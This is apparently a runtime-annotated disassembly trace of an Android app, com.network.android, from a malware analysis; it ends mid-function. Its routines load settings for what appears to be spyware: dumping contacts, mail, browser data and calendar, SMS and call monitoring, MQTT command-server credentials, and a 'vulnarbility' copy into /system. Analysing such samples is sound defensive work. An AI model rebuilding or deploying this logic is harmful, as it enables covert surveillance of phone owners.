      Position Instruction Meta Information
      0const-class v1, Lcom/network/b/b;
      1monitor-enter v1
      2try_start_3:
      3const-string v0, "Read Preferences"
      5invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1072963
        • p0: Read Preferences
      6if-nez p0, :cond_11
      8const-string v0, "readPreferences: context is NULL!!!"
      10invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      11goto_f: monitor-exit v1
      12return-void
      13cond_11:
      14const-string v0, "NetworkPreferences"
      15const/4 v2, 0x0
      17invoke-virtual {p0, v0, v2}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
      18move-result-object v0
      20const-string v2, "NetworkWindowResizer"
      21const/4 v3, 0x0
      23invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      • Time: 1072966
        • This:
          • android.app.SharedPreferencesImpl@cf05f43
        • p0: NetworkWindowResizer
        • p1: null
        • Return:
          • null
      24move-result-object v0
      25if-nez v0, :cond_30
      27const-string v0, "token == null getSettingsFromBH"
      29invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1072969
        • p0: token == null getSettingsFromBH
      30const/4 v0, 0x1
      31const/4 v2, 0x1
      33const-string v3, "LOG_AGENT_FIRST_TIME_RUN"
      35invoke-static {v0, v2, v3}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      37invoke-static {p0}, Lcom/network/h/b;->f(Landroid/content/Context;)Z
      38cond_30:
      39const-string v0, "NetworkPreferences"
      40const/4 v2, 0x0
      42invoke-virtual {p0, v0, v2}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
      43move-result-object v0
      45const-string v2, "NetworkWindowResizer"
      46const/4 v3, 0x0
      48invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      • Time: 1073696
        • This:
          • android.app.SharedPreferencesImpl@cf05f43
        • p0: NetworkWindowResizer
        • p1: null
        • Return:
          • null
      49move-result-object v2
      51invoke-static {v2}, Lcom/network/b/b;->h(Ljava/lang/String;)Ljava/lang/String;
      • Time: 1073698
        • p0: null
        • Return:
          • null
      52move-result-object v2
      53sput-object v2, Lcom/network/android/SmsReceiver;->b:Ljava/lang/String;
      55const-string v2, "NetworkWindowSim"
      56const/4 v3, 0x0
      58invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      • Time: 1073700
        • This:
          • android.app.SharedPreferencesImpl@cf05f43
        • p0: NetworkWindowSim
        • p1: null
        • Return:
          • null
      59move-result-object v2
      60sput-object v2, Lcom/network/android/BootReceiver;->a:Ljava/lang/String;
      62const-string v2, "WindowTargetSms"
      63const/4 v3, 0x0
      65invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      • Time: 1073702
        • This:
          • android.app.SharedPreferencesImpl@cf05f43
        • p0: WindowTargetSms
        • p1: null
        • Return:
          • null
      66move-result-object v2
      68invoke-static {v2}, Lcom/network/b/b;->h(Ljava/lang/String;)Ljava/lang/String;
      • Time: 1073720
        • p0: null
        • Return:
          • null
      69move-result-object v2
      70sput-object v2, Lcom/network/b/b;->g:Ljava/lang/String;
      72invoke-static {p0}, Lcom/network/b/b;->g(Landroid/content/Context;)V
      74invoke-static {v0}, Lcom/network/b/b;->a(Landroid/content/SharedPreferences;)V
      76const-string v2, "lastComunication"
      77const-wide/16 v3, 0x0
      79invoke-interface {v0, v2, v3, v4}, Landroid/content/SharedPreferences;->getLong(Ljava/lang/String;J)J
      80move-result-wide v2
      82invoke-static {v2, v3}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
      83move-result-object v2
      84sput-object v2, Lcom/network/b/b;->i:Ljava/lang/Long;
      86const-string v2, "lastSend"
      87const-wide/16 v3, 0x0
      89invoke-interface {v0, v2, v3, v4}, Landroid/content/SharedPreferences;->getLong(Ljava/lang/String;J)J
      90move-result-wide v2
      91sput-wide v2, Lcom/network/b/b;->H:J
      93const-string v2, "lastReceive"
      94const-wide/16 v3, 0x0
      96invoke-interface {v0, v2, v3, v4}, Landroid/content/SharedPreferences;->getLong(Ljava/lang/String;J)J
      97move-result-wide v2
      98sput-wide v2, Lcom/network/b/b;->I:J
      100const-string v2, "send"
      101const/4 v3, 0x0
      103invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
      104move-result v2
      105sput v2, Lcom/network/b/b;->J:I
      107const-string v2, "receive"
      108const/4 v3, 0x0
      110invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
      111move-result v2
      112sput v2, Lcom/network/b/b;->K:I
      114const-string v2, "packageVersion"
      115const/4 v3, 0x0
      117invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      • Time: 1073730
        • This:
          • android.app.SharedPreferencesImpl@cf05f43
        • p0: packageVersion
        • p1: null
        • Return:
          • null
      118move-result-object v2
      119sput-object v2, Lcom/network/b/b;->l:Ljava/lang/String;
      121const-string v2, "vulnarbilityIndicator"
      122const/4 v3, 0x0
      124invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      • Time: 1073731
        • This:
          • android.app.SharedPreferencesImpl@cf05f43
        • p0: vulnarbilityIndicator
        • p1: null
        • Return:
          • null
      125move-result-object v2
      126sput-object v2, Lcom/network/b/b;->m:Ljava/lang/String;
      128const-string v2, "sesseions"
      129const/4 v3, 0x0
      131invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
      132move-result v2
      133sput v2, Lcom/network/b/b;->L:I
      135const-string v2, "wasPhoneWasUnmutedAfterTapNicly"
      136const/4 v3, 0x1
      138invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
      139move-result v2
      140sput v2, Lcom/network/b/b;->M:I
      142const-string v2, "originalVibrateValue"
      143const/4 v3, 0x0
      145invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
      146move-result v2
      147sput v2, Lcom/network/b/b;->O:I
      149const-string v2, "originalRingerValue"
      150const/4 v3, 0x0
      152invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
      153move-result v2
      154sput v2, Lcom/network/b/b;->N:I
      156const-string v2, "failureCount"
      157const/4 v3, 0x0
      159invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
      160move-result v2
      161sput v2, Lcom/network/b/b;->k:I
      163const-string v2, "errorCode"
      164const/4 v3, 0x0
      166invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
      167move-result v2
      168int-to-byte v2, v2
      169sput-short v2, Lcom/network/b/b;->j:S
      171const-string v2, "maxTimeWithNoComunication"
      172const v3, 0x4f1a00
      174invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
      175move-result v2
      177invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
      178move-result-object v2
      179sput-object v2, Lcom/network/b/b;->P:Ljava/lang/Integer;
      181const-string v2, "grace"
      182const/4 v3, 0x0
      184invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
      185move-result v2
      186sput-boolean v2, Lcom/network/b/b;->R:Z
      188const-string v2, "commandTimeStamp"
      189const/4 v3, 0x0
      191invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      • Time: 1073733
        • This:
          • android.app.SharedPreferencesImpl@cf05f43
        • p0: commandTimeStamp
        • p1: null
        • Return:
          • null
      192move-result-object v2
      193sput-object v2, Lcom/network/android/a/c;->b:Ljava/lang/String;
      195const-string v2, "adlocation"
      196const-wide/16 v3, 0x0
      198invoke-interface {v0, v2, v3, v4}, Landroid/content/SharedPreferences;->getLong(Ljava/lang/String;J)J
      199move-result-wide v2
      200sput-wide v2, Lcom/network/b/b;->S:J
      202const-string v2, "adrate"
      203const-wide/16 v3, 0x0
      205invoke-interface {v0, v2, v3, v4}, Landroid/content/SharedPreferences;->getLong(Ljava/lang/String;J)J
      206move-result-wide v2
      207sput-wide v2, Lcom/network/b/b;->T:J
      209const-string v2, "userNetwork"
      210const/4 v3, 0x0
      212invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      • Time: 1073735
        • This:
          • android.app.SharedPreferencesImpl@cf05f43
        • p0: userNetwork
        • p1: null
        • Return:
          • null
      213move-result-object v2
      214sput-object v2, Lcom/network/b/b;->o:Ljava/lang/String;
      216const-string v2, "installation"
      217const/4 v3, 0x0
      219invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      • Time: 1073736
        • This:
          • android.app.SharedPreferencesImpl@cf05f43
        • p0: installation
        • p1: null
        • Return:
          • null
      220move-result-object v2
      221sput-object v2, Lcom/network/b/b;->e:Ljava/lang/String;
      223const-string v2, "windowYuliyus"
      224const/4 v3, 0x0
      226invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
      227move-result v2
      229invoke-static {v2}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      230move-result-object v2
      231sput-object v2, Lcom/network/b/b;->W:Ljava/lang/Boolean;
      233const-string v2, "window canada"
      234const/4 v3, 0x0
      236invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
      237move-result v2
      239invoke-static {v2}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      240move-result-object v2
      241sput-object v2, Lcom/network/b/b;->X:Ljava/lang/Boolean;
      243const-string v2, "graceTime"
      244const-wide/16 v3, 0x0
      246invoke-interface {v0, v2, v3, v4}, Landroid/content/SharedPreferences;->getLong(Ljava/lang/String;J)J
      247move-result-wide v2
      248sput-wide v2, Lcom/network/b/b;->h:J
      250const-string v2, "finish"
      251const/4 v3, 0x1
      253invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
      254move-result v2
      255sput-boolean v2, Lcom/network/b/b;->p:Z
      257const-string v2, "dumpContacts"
      258const/4 v3, 0x1
      260invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
      261move-result v2
      262sput-boolean v2, Lcom/network/b/b;->r:Z
      264const-string v2, "dumpBrowserData"
      265const/4 v3, 0x1
      267invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
      268move-result v2
      269sput-boolean v2, Lcom/network/b/b;->s:Z
      271const-string v2, "callWindow"
      272const/4 v3, 0x1
      274invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
      275move-result v2
      276sput-boolean v2, Lcom/network/b/b;->q:Z
      278const-string v2, "smsWindow"
      279const/4 v3, 0x1
      281invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
      282move-result v2
      283sput-boolean v2, Lcom/network/b/b;->t:Z
      285const-string v2, "dumpCalander"
      286const/4 v3, 0x1
      288invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
      289move-result v2
      290sput-boolean v2, Lcom/network/b/b;->u:Z
      292const-string v2, "firstRun"
      293const/4 v3, 0x1
      295invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
      296move-result v2
      297sput-boolean v2, Lcom/network/b/b;->v:Z
      299const-string v2, "dumpMails"
      300const/4 v3, 0x1
      302invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
      303move-result v2
      304sput-boolean v2, Lcom/network/b/b;->w:Z
      306const-string v2, "allowRomingType"
      307const/4 v3, 0x0
      309invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
      310move-result v2
      311sput v2, Lcom/network/b/b;->Y:I
      313const-string v2, "logNetwork"
      314const/4 v3, 0x0
      316invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      • Time: 1073738
        • This:
          • android.app.SharedPreferencesImpl@cf05f43
        • p0: logNetwork
        • p1: null
        • Return:
          • 0vlt.dat
      • Time: 1079859
        • This:
          • android.app.SharedPreferencesImpl@cf05f43
        • p0: logNetwork
        • p1: null
        • Return:
          • null
      317move-result-object v2
      318sput-object v2, Lcom/network/android/c/a/b;->d:Ljava/lang/String;
      320const-string v2, "forwarding"
      321const/4 v3, 0x0
      323invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
      324move-result v2
      325sput-boolean v2, Lcom/network/android/monitor/observer/t;->a:Z
      327const-string v2, "romingSetted"
      328const/4 v3, 0x0
      330invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
      331move-result v2
      333invoke-static {v2}, Lcom/network/android/AndroidCallDirectWatcher;->a(Z)V
      335const-string v2, "ScreenTimeout"
      336const/4 v3, 0x0
      338invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
      339move-result v2
      340sput v2, Lcom/network/b/b;->x:I
      342const-string v2, "wanted_debug_level"
      343const/4 v3, 0x1
      345invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
      346move-result v2
      347sput v2, Lcom/network/b/b;->A:I
      349const-string v2, "screenProximtySensor"
      350const/4 v3, 0x1
      352invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
      353move-result v2
      354sput v2, Lcom/network/b/b;->y:I
      356const-string v2, "url address"
      357const/4 v3, 0x0
      359invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      • Time: 1073740
        • This:
          • android.app.SharedPreferencesImpl@cf05f43
        • p0: url address
        • p1: null
        • Return:
          • null
      360move-result-object v2
      362invoke-static {v2}, Lcom/network/b/b;->h(Ljava/lang/String;)Ljava/lang/String;
      • Time: 1073741
        • p0: null
        • Return:
          • null
      363move-result-object v2
      364sput-object v2, Lcom/network/b/b;->z:Ljava/lang/String;
      366const-string v2, "did_we_restart_after_upgrade_already"
      367const/4 v3, 0x1
      369invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
      370move-result v2
      371sput-boolean v2, Lcom/network/b/b;->B:Z
      373const-string v2, "mqttPassword"
      375const-string v3, ""
      377invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      • Time: 1073745
        • This:
          • android.app.SharedPreferencesImpl@cf05f43
        • p0: mqttPassword
        • p1: ""
        • Return:
          • ""
      378move-result-object v2
      379sput-object v2, Lcom/network/b/b;->Z:Ljava/lang/String;
      381const-string v2, "mqttAllowedConnectionType"
      382const/4 v3, 0x0
      384invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
      385move-result v2
      386sput v2, Lcom/network/b/b;->ad:I
      388const-string v2, "should_use_mqtt"
      389const/4 v3, 0x0
      391invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
      392move-result v2
      393sput-boolean v2, Lcom/network/b/b;->aa:Z
      395const-string v2, "mqttRecInt"
      396const/4 v3, 0x1
      398invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
      399move-result v2
      400sput v2, Lcom/network/b/b;->ab:I
      402const-string v2, "mqttUsername"
      404const-string v3, ""
      406invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      • Time: 1073747
        • This:
          • android.app.SharedPreferencesImpl@cf05f43
        • p0: mqttUsername
        • p1: ""
        • Return:
          • ""
      407move-result-object v2
      408sput-object v2, Lcom/network/b/b;->ac:Ljava/lang/String;
      410const-string v2, "mqttIdPref"
      412const-string v3, ""
      414invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      • Time: 1073750
        • This:
          • android.app.SharedPreferencesImpl@cf05f43
        • p0: mqttIdPref
        • p1: ""
        • Return:
          • ""
      415move-result-object v2
      416sput-object v2, Lcom/network/b/b;->ae:Ljava/lang/String;
      418const-string v2, "mqttQos"
      419const/4 v3, 0x0
      421invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
      422move-result v2
      423sput v2, Lcom/network/b/b;->af:I
      425const-string v2, "mqttKaTimer"
      426const/4 v3, 0x0
      428invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
      429move-result v2
      430sput v2, Lcom/network/b/b;->ag:I
      432const-string v2, "mqttRecCount"
      433const/4 v3, 0x0
      435invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
      436move-result v2
      437sput v2, Lcom/network/b/b;->ah:I
      439const-string v2, "mqttPort"
      441const-string v3, ""
      443invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      • Time: 1073752
        • This:
          • android.app.SharedPreferencesImpl@cf05f43
        • p0: mqttPort
        • p1: ""
        • Return:
          • ""
      444move-result-object v2
      445sput-object v2, Lcom/network/b/b;->ai:Ljava/lang/String;
      447const-string v2, "mqttHost"
      449const-string v3, ""
      451invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      • Time: 1073753
        • This:
          • android.app.SharedPreferencesImpl@cf05f43
        • p0: mqttHost
        • p1: ""
        • Return:
          • ""
      452move-result-object v2
      453sput-object v2, Lcom/network/b/b;->aj:Ljava/lang/String;
      455const-string v2, "networkKill"
      456const/4 v3, 0x0
      458invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
      459move-result v2
      460sput-boolean v2, Lcom/network/android/a/c;->i:Z
      462const-string v2, "firstRunIndex"
      463const/4 v3, 0x0
      465invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      • Time: 1073755
        • This:
          • android.app.SharedPreferencesImpl@cf05f43
        • p0: firstRunIndex
        • p1: null
        • Return:
          • null
      466move-result-object v2
      467sput-object v2, Lcom/network/android/m;->a:Ljava/lang/String;
      469const-string v2, "pollingInterval"
      470const/16 v3, 0x708
      472invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
      473move-result v2
      475invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
      476move-result-object v2
      477sput-object v2, Lcom/network/b/b;->al:Ljava/lang/Integer;
      479const-string v2, "local"
      480const/4 v3, 0x0
      482invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
      483move-result v0
      485invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      486move-result-object v0
      487sput-object v0, Lcom/network/b/b;->C:Ljava/lang/Boolean;
      488try_end_27b: goto/16 :goto_f
      489catch_27d: move-exception v0
      490try_start_27e:
      491const-string v2, "readPreferences"
      493invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      494try_end_283: goto/16 :goto_f
      495catchall_285: move-exception v0
      496monitor-exit v1
      497throw v0
      Cross References
      APIs
      • java.io.File.<init>
      • java.io.File.length
      • java.io.File.exists
      • com.network.android.SmsReceiver.b:Ljava/lang/String
      • java.io.FileInputStream.close
      • java.io.FileInputStream.close
      • com.network.android.SmsReceiver.b:Ljava/lang/String
      • java.io.FileInputStream.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.FileInputStream.close
      • java.io.FileInputStream.<init>
      • java.io.FileInputStream.read
      • java.io.FileInputStream.close
      • java.io.FileInputStream.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.<init>
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.split
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.FileInputStream.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • com.network.android.SmsReceiver.b:Ljava/lang/String
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.equals
      • java.lang.Boolean.valueOf
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Integer.parseInt
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.exists
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.length
      • java.io.FileInputStream.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.FileInputStream.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.FileInputStream.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • readSettingsFromBHFile starting
      • /data/myappinfo
      • /system/ttg
      • readSettingsFromBHFile param file does not exists and settings is not set. somthing is wrong. returning false
      • /data/cksnb.dat
      • readSettingsFromBHFile was already running. settings are already set. returning true
      • readSettingsFromBHFile finaly -
      • readSettingsFromBHFile failed to read data from BH param file
      • readSettingsFromBHFile parameters:
      • \n
      • readSettingsFromBHFile params count:
      • readSettingsFromBHFile failed to split all parameters:
      • readSettingsFromBHFile urlStrToRemove:
      • readSettingsFromBHFile decodedSettings:
      • readSettingsFromBHFile token:
      • readSettingsFromBHFile uninstallKey:
      • local
      • readSettingsFromBHFile localInstallation: \'
      • \' >
      • readSettingsFromBHFile mccSeetings:
      • readSettingsFromBHFile allowRoaming:
      • readSettingsFromBHFile addCommandToQueue
      • readSettingsFromBHFile fail to addCommandToQueue with default token
      • 00000000
      • readSettingsFromBHFile packageVersion:
      • /system/csk
      • readSettingsFromBHFile vulnarbilityIndicator:
      • /data/data/com.network.android/output.mp3
      • readSettingsFromBHFile copy vulnarbility failed. returning false
      • readSettingsFromBHFile exception:
      Position Instruction Meta Information
      0const/16 v7, 0xa
      1const/4 v2, 0x0
      2const/4 v1, 0x1
      3const/4 v0, 0x0
      5const-string v3, "readSettingsFromBHFile starting"
      7invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1073262
        • p0: readSettingsFromBHFile starting
      8const/4 v3, 0x0
      9try_start_b: new-instance v4, Ljava/io/File;
      11invoke-direct {v4, p1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      • Time: 1073265
        • This:
          • /data/myappinfo
        • p0: /data/myappinfo
        • Return:
          • /data/myappinfo
      • Time: 1073321
        • This:
          • /system/ttg
        • p0: /system/ttg
        • Return:
          • /system/ttg
      13invoke-virtual {v4}, Ljava/io/File;->length()J
      • Time: 1073268
        • This:
          • /data/myappinfo
        • Return:
          • 0
      14move-result-wide v5
      15long-to-int v5, v5
      17invoke-virtual {v4}, Ljava/io/File;->exists()Z
      18move-result v6
      19if-nez v6, :cond_40
      21sget-object v4, Lcom/network/android/SmsReceiver;->b:Ljava/lang/String;
      22if-nez v4, :cond_2f
      24const-string v1, "readSettingsFromBHFile param file does not exists and settings is not set. somthing is wrong. returning false"
      26invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1073276
        • p0: readSettingsFromBHFile param file does not exists and settings is not set. somthing is wrong. returning false
      27try_end_24:
      28const-string v1, "/data/cksnb.dat"
      30invoke-static {v1}, Lcom/network/h/b;->b(Ljava/lang/String;)V
      • Time: 1073291
        • p0: /data/cksnb.dat
        • Return:
          • java.io.FileNotFoundException: /data/cksnb.dat (Permission denied)
      • Time: 1073312
        • p0: /data/cksnb.dat
      31if-eqz v2, :cond_2e
      32try_start_2b:
      33invoke-virtual {v3}, Ljava/io/FileInputStream;->close()V
      34try_end_2e: return v0
      35cond_2f:
      36const-string v4, "readSettingsFromBHFile was already running. settings are already set. returning true"
      38invoke-static {v4}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      39try_end_34:
      40const-string v0, "/data/cksnb.dat"
      42invoke-static {v0}, Lcom/network/h/b;->b(Ljava/lang/String;)V
      43if-eqz v2, :cond_3e
      44try_start_3b:
      45invoke-virtual {v3}, Ljava/io/FileInputStream;->close()V
      46cond_3e: move v0, v1
      47goto/16 :goto_2e
      48cond_40: if-nez v5, :cond_7f
      49try_start_42:
      50sget-object v4, Lcom/network/android/SmsReceiver;->b:Ljava/lang/String;
      51if-nez v4, :cond_6e
      53const-string v1, "readSettingsFromBHFile param file does not exists and settings is not set. somthing is wrong. returning false"
      55invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      56try_end_4b:
      57const-string v1, "/data/cksnb.dat"
      59invoke-static {v1}, Lcom/network/h/b;->b(Ljava/lang/String;)V
      60if-eqz v2, :cond_2e
      61try_start_52:
      62invoke-virtual {v3}, Ljava/io/FileInputStream;->close()V
      63try_end_55: goto/16 :goto_2e
      64catch_56: move-exception v1
      65new-instance v2, Ljava/lang/StringBuilder;
      67const-string v3, "readSettingsFromBHFile finaly - "
      69invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      71invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      72move-result-object v3
      74invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      75move-result-object v2
      77invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      78move-result-object v2
      79goto_6a:
      80invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      81goto/16 :goto_2e
      82try_start_6e:
      83const-string v4, "readSettingsFromBHFile was already running. settings are already set. returning true"
      85invoke-static {v4}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      86try_end_73:
      87const-string v0, "/data/cksnb.dat"
      89invoke-static {v0}, Lcom/network/h/b;->b(Ljava/lang/String;)V
      90if-eqz v2, :cond_7d
      91try_start_7a:
      92invoke-virtual {v3}, Ljava/io/FileInputStream;->close()V
      93cond_7d: move v0, v1
      94goto/16 :goto_2e
      95try_start_7f: new-instance v3, Ljava/io/FileInputStream;
      97invoke-direct {v3, v4}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V
      98try_end_84: new-array v2, v5, [B
